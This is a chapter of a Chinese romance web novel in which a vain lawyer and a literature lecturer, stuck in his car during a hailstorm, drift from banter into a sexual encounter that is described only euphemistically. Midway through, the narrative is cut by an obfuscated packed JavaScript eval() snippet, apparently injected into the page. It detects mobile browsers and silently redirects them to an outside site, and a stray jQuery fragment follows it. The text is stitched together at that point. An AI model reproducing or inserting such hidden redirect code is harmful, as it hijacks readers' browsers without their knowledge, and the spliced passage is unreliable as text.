05.
赵客朝那处喊:“没个五分钟,你走不进天桥。”
而不用两分钟,越下越大的冰雹就会把李勤打的全身湿透。
落下的一指宽窗户,斜扫进来的雨水已经打湿他的裤子,右手夹着的烟灰老长,摇摇欲坠。
车厢昏暗,腥红火光里他为数不多的耐心在女人沉默看他的视线中逐渐告罄,女人的伞朝这边倾斜。
“嗒”的一声,车锁打开,车灯亮了亮,后座门打开,跟着掠进来雨水的腥咸和冰冰凉的夏意。
李勤的伞合在脚边,坐在后排,局促又客气,“谢谢。”
他瞥了眼后视镜里死气沉沉的女人,发梢带着水珠,眼镜框雾蒙蒙哈着一层水汽。
两人的位置,他像是拉顺风车的,就差报手机尾号了。
懒洋洋收回眼神,烟蒂按进矿泉水瓶,灰烬漂浮在水面,缓缓散开。
封闭的车厢还有一丝淡淡烟草味萦绕,不过车窗拉上,彻底隔绝了外界的咒骂嘈杂与不安,彼此的存在感在带着“异己”的标签,使得呼吸都变得清晰。
李勤打破沉闷氛围:“过了天桥我下车就行。”
“哦。”
她不再说话。
赵客透过后视镜看她:“扶手箱里有纸。”
他更近一些,划着手机消息,慢条斯理,显然没有扮绅士递纸的打算。
李勤摸出包里的手帕,那是一块四四方方的蓝色格子手帕,赵客漫不经心瞥了一眼,眼球差点掉下来,朦胧记忆里村头赵大娘最爱用这种方巾裹钱,厚厚卷好几层,还得解开裤腰带塞到大裤衩里面的口袋中去,每次买东西用钱恨不得当众解裤子。
李勤察觉到他长久的目光,擦手的动作顿了下,默默抬头与镜子里的他对视,“你可以抽烟。”
赵客:“……”
她的画外音大概率是别那么闲的老盯着我。
赵客哽了下,想解释自己可不是因为好色一直看她,想了想又觉无趣,手不自觉摸出来的烟都拿着没滋没味了。
雨势不见小,砸下来的冰雹逐渐有半个拳头那么大,马路上叮叮咣咣,全是大冰块砸在车身的声音,有车主玻璃已经被砸烂,围着他的车急的团团转,恨不得躺到车身上朝天大喊:“臭老天!让这冰雹都砸我身上吧,砸谁也不能砸我的车啊!”
急了一圈没办法,又冲去前车找麻烦,很快两方在冰雹大雨里打起来,旁边看戏的又烦又躁动,起哄声连连。
“啧。”
赵客看似不动如山,心里早已抓耳挠腮,比下去打架还着急,但最后还是不舍得下车后让大雨打湿头发乱了他今天的精致穿搭。
今天这帅气发型他可是抓了半小时呢。
然而,想到这辆刚买了两年的大奔也心痛,车贷都还没还完,每月一万多,这么砸下去,修车费都令他小心肝疼的颤抖。
他不值钱,车却要命。
想到这,烟狠狠抽了一大口,吞云吐雾,浓烈烟雾压不下他的烦躁,今天一天都跟对方蠢律师在法庭唇枪舌战,晚上好不容易抽出个时间想要回公寓睡,结果就给堵在半路了。
修长手指娴熟弹烟,烦躁的眼神嫌恶地看着窗外开始互吐口水的两人。
雨水加唾沫,真个酣畅淋漓啊。
赵客恶寒地抖了抖,收回视线,点开了音乐,披头士乐队舒缓歌曲悠扬缓慢的飘荡在封闭的车厢里。
噼里啪啦,昏暗雨水和尖锐疯狂的鸣笛声好似在预示着世界末日的来临,身后响起微弱清浅的咳嗽声。
“……”
赵客往后看,李勤问:“我开个小缝可以吗?”
“冰雹砸进来你赔?”他刻薄道,掐灭烟。
李勤想出去被冰雹砸了,“上次的钱你怎么没收?”
从酒店出来后两人没有再聊过,她不确定房费能不能退,发现那款软件能转账后她便转了一半房费给他。
“酒店退了两千。”
“真的会退?”李勤意外:“怎么还多了?”
赵客:“房内几项设施都不符合酒店宣传的五星级标准,补偿三分之一是我懒得计较,闹上法庭我才让他们吃不了兜着走。”
他耀武扬威,说起来这件事,眉眼得意又愉悦,像个开屏孔雀。
李勤脸色微白,一阵后怕,暗自庆幸他没有把事情闹大,否则她无法想象如果有人知道她是房间另一个使用者,将会引起她怎样的烦忧和悔恨。
“你很优秀。”尽管刻薄傲慢,但她客观承认他的能力。
赵客看她几秒,哼了哼没应话,但面色缓和了许多,千穿万穿马屁不穿,赵客这种自大的认为全世界没几个男人比他优秀帅气的男人,真诚的彩虹屁显然有用。
“你是高中老师?是教导主任吗?”他疑问,自觉这话里没有偏见,没有第二份工作能比这个更适合眼前这位老学究了。
“不是……大学老师。”她说。
“呜哦~”
他吹了声口哨,眼神调侃,进一步问:“哪个专业的?让我猜猜,肯定是理工科吧,无机非?计算机?还是数学?。”
李勤简单道:“文学。”
顿了顿补充,“比较文学教的多。”
“哦。”他显然失望,觉得她找错了就业方向,高中显然更需要她这样的人才。
李勤没听出他的言外之意,只是惊讶他的反应和大多数人不同。
那些人在听到她的职业后开始对她的穿着与沉闷性子表示出前所未有的宽容,好似你工作体面便可以原谅你的枯燥,只是想必你薪水也不菲,接下来就是关于薪资的试探,发现在安城这样消费高的地方还没有年薪百万后,就会变成一句意味深长的“这样啊”,
到赵客这里,他的反应只是悠悠的一句调侃,“一一老师不考虑换个工作?”
李勤没搭理他的玩笑,车里淡淡的香水味让她有些头疼,她对气味格外敏感,即便前天有人喷香水,她走近都能立马闻出来,又注意到他的袖口,那枚绿宝石袖扣珠宝在模糊光影里闪烁着耀眼璀璨的绿色光芒。
喉咙微微发痒,她惊异,怎么真有人一点不在意别人的目光?
“看什么?”赵客问。
她的视线第一次长时间落在他身上。
李勤:“你……怎么穿成这样?”
赵客:“???”
晴天霹雳,骇人听闻。
赵客简直不敢相信他听到了怎样的质疑,这个穿着老土的女人竟然敢先来奇怪他的穿搭!
他低头看向今天的搭配。
今日开庭,赵客自然不能像平时那样高调随意。
一身黑色西装,皮鞋也是常规款式,唯独几个小配饰用了心,领带选的藏蓝色,内敛又沉郁。领夹选了款中古纯银的颜色,上面玫瑰金镌刻着漂亮的英文花体。
Griffin,那是他在律所的英文名。
除此之外,只白色衬衫的袖口佩戴了一个镶着绿色珠宝的袖扣,庭上他火力全开碾压对方时,举手投足间这枚绿宝石都会随着他的动作发出夺目的光。
招摇、傲慢。
律师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861730|176064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圈里,一句花孔雀,无人不知指代谁。
他刻薄地说:“难不成穿成你这样?你本来可以不用到约p这步。”
哪怕再老土,可她有那样的大长腿!
暴殄天物!
“面先生打扮的花枝招展,行走在时尚前沿,怎么也要在网上约?”她语气平平,问的格外真心。
赵先生:“……”
这是另外的原因,跟他的帅气绝无关系。
话在嘴边滚来滚去,车里陷入沉默,五十步笑百步,两人谁也不用挤兑谁。
只是安静下来,氛围逐渐变得微妙起来,话匣子提到那晚,心思不由自主都变得潮湿氤氲,似乎细密的雨水都落到了心底,湿漉漉的浇灌某些隐秘的蠢蠢欲动。
窗外滂沱大雨让整个世界都变得模糊不清,这个车厢好似一抔水。
人与事都变得遥远,他们是搁浅在水里摇曳的金鱼,鱼尾相触,涟漪荡回混乱迷离的那夜。
没有亲吻,实在不该掠起的衣服,采撷中她居高临下看他动作。
寂静里呼吸愈发粗重,她感到莫名口干,掩盖在这件老旧、保守衣服下的她似乎被柔软摩挲,湿热粘稠的触感包裹胸|脯,也包裹了整个封闭的车厢。
赵客的回忆泛起某种温度,飘泊雨雾里摇曳红尘卷起旖旎氛围,那和死板、凋敝、寂静的她迥别。
那是座沉默的火山。
……
窗外的暴风骤雨彻底将两人与末日般的浑噩隔绝,雨雾滂沱,车内窗户被雾气覆盖。
她心猿意马的想起,他的车窗从外面看是全黑的。
李勤湿润氤氲的目光呆呆定在车窗上,水痕迤逦,燥热的汗珠在脖颈泅湿一片,发丝凌乱,面颊微微潮红,好似回到青木瓜之味的夏天。
电影里的潮湿灼热漫延到了车中,她的面孔变得和梅一般青涩、潮红、湿润。
翠绿的雨伞还在滴水,潮湿寂静的一隅,她的呼吸变得发热。
迷蒙的视线在清晰的触感里找寻真实,前座的男人不知何时来到了她的身边,动作隐秘而混乱。
……
燥热繁复里,她感到某种奇异诡谲的潮动和骚热,痛苦和欢舞齐跃而上,后背贴上柔软皮座,衣角翻飞凌乱,她被浓烈的野兽般气息包裹,目光看着头顶昏昏暗的车顶,晃动间男人锋利下颌在眼底闪过,线条流畅的侧脸镌刻入记忆。
一种奇异的冰冷在车厢漫延,紧紧相拥,男人滚烫的身体是如此清晰真实。
再次被含住,小腹上温热的手似乎连带着搅动了她的胃,摄住她的呼吸,未来几天的三餐都要因今夜的混乱躁热而少食。
她的牙齿擒住他的脖颈,细密吮咬,好似夏天藤蔓下一串串青翠欲滴的绿葡萄,反复吮吸,只知道那一块地,其余不敢再放肆,只被勾着引着。
气息愈发凌乱,逼仄狭窄的后排,施展不开的身体凌乱潮湿,滚烫黏腻。
他们在世界末日来临前放纵,他们是涸辙之鱼死亡前的饮水。
最纯粹的欲|望,如野兽,是动物本能。
沉沦的犯罪,打破禁忌的枷锁,共谋起舞,又在最后戛然而止。
窗外噼里啪啦冰雹声已消,雨不知何时变小了。
鸣笛的催促声里,天桥下好似万年都会屹立不动的车缓缓前行,草率、狼藉、仓促又突兀的结尾里,静谧声中赵客跳回前座,窸窸窣窣是后排坐起整理衣服的声音,踩了油门发动车,大敞衣领露出的痕迹记录着刚才的混乱。
迷离、燥热、纠缠,不是雨中春|梦。